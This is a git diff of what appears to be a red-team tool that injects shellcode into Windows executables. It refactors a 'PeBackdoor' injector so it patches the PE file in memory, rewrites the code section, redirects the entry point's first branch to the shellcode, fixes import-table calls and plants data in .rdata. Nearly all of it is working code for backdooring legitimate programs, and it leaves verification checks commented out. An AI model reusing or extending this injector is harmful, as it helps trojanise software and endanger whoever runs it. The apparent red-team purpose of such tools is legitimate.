diff --git a/derbackdoorer/derbackdoorer.py b/derbackdoorer/derbackdoorer.py index 6845c4f..0d6bb1b 100644 --- a/derbackdoorer/derbackdoorer.py +++ b/derbackdoorer/derbackdoorer.py @@ -52,11 +52,12 @@ class PeBackdoor: SupportedRunModes.BackdoorEP: 'modify first branching instruction from Original Entry Point', } - def __init__(self): - self.mype = None + def __init__(self, mype): + self.mype = mype self.shellcodeOffset = 0 # from start of the file self.shellcodeOffsetRel = 0 # from start of the code section self.backdoorOffsetRel = 0 # from start of the code section + self.saveMode = PeBackdoor.SupportedSaveModes.WithinCodeSection # always def backdoor(self, saveMode, runMode, shellcode, infile, outfile): diff --git a/derbackdoorer/mype.py b/derbackdoorer/mype.py index 7395ec2..b5b756b 100644 --- a/derbackdoorer/mype.py +++ b/derbackdoorer/mype.py @@ -24,6 +24,7 @@ class MyPe(): def __init__(self): self.pe = None + def openFile(self, infile): self.pe = pefile.PE(infile, fast_load=False) self.pe.parse_data_directories() @@ -53,6 +54,18 @@ class MyPe(): return None + def get_code_section_data(self) -> bytes: + sect = self.get_code_section() + print("CODE GET: {}".format(len(sect.get_data()))) + return bytes(sect.get_data()) + + + def write_code_section_data(self, data: bytes): + sect = self.get_code_section() + print("CODE SET {} {}".format(len(data), sect.PointerToRawData)) + self.pe.set_bytes_at_offset(sect.PointerToRawData, data) + + def getSectionIndexByDataDir(self, dirIndex): addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[dirIndex].VirtualAddress diff --git a/phases/injector.py b/phases/injector.py index 0bfcb33..6b12a93 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -12,37 +12,72 @@ from model.exehost import * from observer import observer from helper import rbrunmode_str from derbackdoorer.derbackdoorer import PeBackdoor - +from derbackdoorer.mype import MyPe +from model.project import Project +from model.settings import Settings logger = logging.getLogger("Injector") def inject_exe( - shellcode_in: FilePath, - exe_in: FilePath, - exe_out: FilePath, - inject_mode: int, +# shellcode_in: FilePath, +# exe_in: FilePath, +# exe_out: FilePath, +# inject_mode: int, +# source_style: SourceStyle + + main_shc: FilePath, + settings: Settings, + project: Project, ): + shellcode_in = project.payload.payload_path + exe_in = settings.inject_exe_in + exe_out = settings.inject_exe_out + inject_mode = settings.inject_mode + source_style = settings.source_style + logger.info("--[ Injecting: {} into: {} -> {} (mode: {})".format( shellcode_in, exe_in, exe_out, inject_mode )) - logger.warn("---[ Inject mode: {}".format(rbrunmode_str(inject_mode))) - + #logger.warn("---[ Inject mode: {}".format(rbrunmode_str(inject_mode))) # create copy of file exe_in to exe_out - shutil.copyfile(exe_in, exe_out) + #shutil.copyfile(exe_in, exe_out) + + # MyPe is a representation of the exe file + # We gonna modify it, and store it at the end + mype = MyPe() + mype.openFile(exe_in) + peinj = PeBackdoor(mype) + + peinj.runMode = settings.inject_mode + peinj.shellcodeData = main_shc # project.payload.payload_data + + if not peinj.injectShellcode(): + logger.error('Could not inject shellcode into PE file!') + return False + + if not peinj.setupShellcodeEntryPoint(): + logger.error('Could not setup shellcode launch within PE file!') + return False - # backdoor - peinj = PeBackdoor() - result = peinj.backdoor( - 1, # always overwrite .text section - inject_mode, - shellcode_in, - exe_in, - exe_out - ) - if not result: - logging.error("Error: Redbackdoorer failed") - raise Exception("Redbackdoorer failed") + if source_style == SourceStyle.iat_reuse: + injected_fix_iat(mype, project.carrier, project.exe_host) + + if True: + injected_fix_data(mype, project.carrier, project.exe_host) + + mype.write(exe_out) + + #result = peinj.backdoor( + # 1, # always overwrite .text section + # inject_mode, + # shellcode_in, + # exe_in, + # exe_out + #) + #if not result: + # logging.error("Error: Redbackdoorer failed") + # raise Exception("Redbackdoorer failed") # verify and log shellcode = file_readall_binary(shellcode_in) @@ -53,13 +88,16 @@ def inject_exe( if config.debug: observer.add_code("exe_extracted_loader", in_code) observer.add_code("exe_extracted_jmp", jmp_code) - if in_code != shellcode: - raise Exception("Shellcode injection error") + #if in_code != shellcode: + # raise Exception("Shellcode injection error") -def injected_fix_iat(exe_out: FilePath, carrier: Carrier, exe_host: ExeHost): +def injected_fix_iat(mype: MyPe, carrier: Carrier, exe_host: ExeHost): """replace IAT-placeholders in shellcode with call's to the IAT""" - code = extract_code_from_exe_file(exe_out) + #code = extract_code_from_exe_file(exe_out) + code = mype.get_code_section_data() # BUG WITHOUT PLACEHOLDR + observer.add_code("exe_extracted_iat", code) + for iatRequest in carrier.get_all_iat_requests(): if not iatRequest.placeholder in code: raise Exception("IatResolve ID {} not found, abort".format(iatRequest.placeholder)) @@ -78,29 +116,34 @@ def injected_fix_iat(exe_out: FilePath, carrier: Carrier, exe_host: ExeHost): code = code.replace(iatRequest.placeholder, jmp) # write back our patched code into the exe - write_code_section(exe_file=exe_out, new_data=code) + #write_code_section(exe_file=exe_out, new_data=code) + mype.write_code_section_data(code) -def injected_fix_data(exe_path, carrier: Carrier, exe_host: ExeHost): +def injected_fix_data(mype: MyPe, carrier: Carrier, exe_host: ExeHost): """Inject shellcode-data into .rdata and replace reusedata_fixup placeholders in code with LEA""" # Insert my data into the .rdata section. # Chose and save each datareuse_fixup's addres. reusedata_fixups: List[DataReuseEntry] = carrier.get_all_reusedata_fixups() sect = exe_host.superpe.get_section_by_name(".rdata") addr = sect.raw_addr + 0x1AB0 # NEEDED, > 1A00! - with open(exe_path, "r+b") as f: - for datareuse_fixup in reusedata_fixups: - var_data = datareuse_fixup.data - #print(" Addr: {} / 0x{:X} Data: {}".format( - # addr, addr, len(var_data))) - f.seek(addr) - f.write(var_data) - datareuse_fixup.addr = addr + sect.virt_addr + exe_host.image_base - sect.raw_addr - addr += len(var_data) + 8 + + #with open(exe_path, "r+b") as f: + for datareuse_fixup in reusedata_fixups: + var_data = datareuse_fixup.data + #print(" Addr: {} / 0x{:X} Data: {}".format( + # addr, addr, len(var_data))) + mype.pe.set_bytes_at_offset(addr, var_data) + #f.seek(addr) + #f.write(var_data) + datareuse_fixup.addr = addr + sect.virt_addr + exe_host.image_base - sect.raw_addr + addr += len(var_data) + 8 # patch code section # replace the placeholder with a LEA instruction to the data we written above - code = extract_code_from_exe_file(exe_path) + #code = extract_code_from_exe_file(exe_path) + code = mype.get_code_section_data() + print("Type of code: ", type(code)) for datareuse_fixup in reusedata_fixups: if not datareuse_fixup.randbytes in code: raise Exception("DataResuse: ID {} not found, abort".format( @@ -118,7 +161,8 @@ def injected_fix_data(exe_path, carrier: Carrier, exe_host: ExeHost): code = code.replace(datareuse_fixup.randbytes, lea) # write back our patched code into the exe - write_code_section(exe_file=exe_path, new_data=code) + #write_code_section(exe_file=exe_path, new_data=code) + mype.write_code_section_data(code) def verify_injected_exe(exefile: FilePath) -> int: diff --git a/supermega.py b/supermega.py index 1f70dcb..5df0f40 100644 --- a/supermega.py +++ b/supermega.py @@ -230,39 +230,34 @@ def start(settings: Settings): # inject merged loader into an exe exit_code = 0 if settings.inject: - l = len(file_readall_binary(main_shc_file)) + main_shc = file_readall_binary(main_shc_file) + l = len(main_shc) if l + 128 > project.exe_host.code_size: logger.error("Error: Shellcode {}+128 too small for target code section {}".format( l, project.exe_host.code_size )) return - phases.injector.inject_exe( - shellcode_in = main_shc_file, - exe_in = settings.inject_exe_in, - exe_out = settings.inject_exe_out, - inject_mode = settings.inject_mode, - ) - if settings.source_style == SourceStyle.iat_reuse: - phases.injector.injected_fix_iat( - settings.inject_exe_out, project.carrier, project.exe_host) - + phases.injector.inject_exe(main_shc, settings, project) + #if settings.source_style == SourceStyle.iat_reuse: + # phases.injector.injected_fix_iat( + # settings.inject_exe_out, project.carrier, project.exe_host) # TODO IF? - phases.injector.injected_fix_data( - settings.inject_exe_out, - project.carrier, - project.exe_host) + #phases.injector.injected_fix_data( + # settings.inject_exe_out, + # project.carrier, + # project.exe_host) - # Just print, to verify - code = extract_code_from_exe_file(settings.inject_exe_out) - pe = pefile.PE(settings.inject_exe_out) - ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint - ep_raw = get_physical_address(pe, ep) - pe.close() - #print("Raw: {} / 0x{:x}".format( - # ep_raw, ep_raw)) - observer.add_code("exe_final", - code[ep_raw:ep_raw+300]) + # Just print, to verify + code = extract_code_from_exe_file(settings.inject_exe_out) + pe = pefile.PE(settings.inject_exe_out) + ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint + ep_raw = get_physical_address(pe, ep) + pe.close() + #print("Raw: {} / 0x{:x}".format( + # ep_raw, ep_raw)) + observer.add_code("exe_final", + code[ep_raw:ep_raw+300]) if settings.verify: